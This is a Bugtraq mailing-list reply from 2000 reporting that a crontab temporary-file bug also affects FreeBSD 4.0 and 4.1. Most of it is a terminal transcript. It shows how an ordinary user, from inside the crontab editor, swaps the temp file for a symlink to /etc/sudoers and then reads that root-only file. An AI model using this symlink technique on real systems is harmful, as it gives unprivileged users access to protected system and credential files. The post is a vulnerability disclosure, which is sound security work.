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Re: [ Hackerslab bug_paper ] HP-UX crontab temporary file
daemon@ATHENA.MIT.EDU (Sergey Nenashev)
Wed Oct 25 03:35:47 2000
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Date: Tue, 24 Oct 2000 20:55:29 +0400
Reply-To: Sergey Nenashev <alf@ISD.MEMONET.RU>
From: Sergey Nenashev <alf@ISD.MEMONET.RU>
To: BUGTRAQ@SECURITYFOCUS.COM
Hi,
Tested on
4.0-RELEASE FreeBSD 4.0-RELEASE #9
4.1-RELEASE FreeBSD 4.1-RELEASE #1:
Can read any file wich start with comment simbol (#)
$ ls -l /etc/sudoers
-r-------- 1 root wheel 313 24 oct 20:20 /etc/sudoers
$ id
uid=1002(alf) gid=1002(alf) groups=1002(alf)
$ crontab -e
~
~
~
/tmp/crontab.hLmjTbK417
:!sh
[ #### Make simbolik link]
> rm /tmp/crontab.hLmjTbK417
> ln -sf /etc/sudoers /tmp/crontab.hLmjTbK417
> exit
[ #### quit vi ]
/tmp/crontab.hLmjTbK417
crontab: installing new crontab
[ #### start crontab editor]
$ crontab -e
[####### See in vi]
# sudoers file.
#
# This file MUST be edited with the 'visudo' command as root.
#
# See the sudoers man page for the details on how to write a sudoers
file.
#
# Host alias specification
# User alias specification
# Cmnd alias specification
# User privilege specification
root ALL=(ALL) ALL
alf ALL=(ALL) ALL
~
~
~
If file started with no # then crontab sad
"/tmp/crontab.GAeNMP1357":2: bad minute
crontab: errors in crontab file, can't install
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Alf Delems<alf@isd.memonet.ru>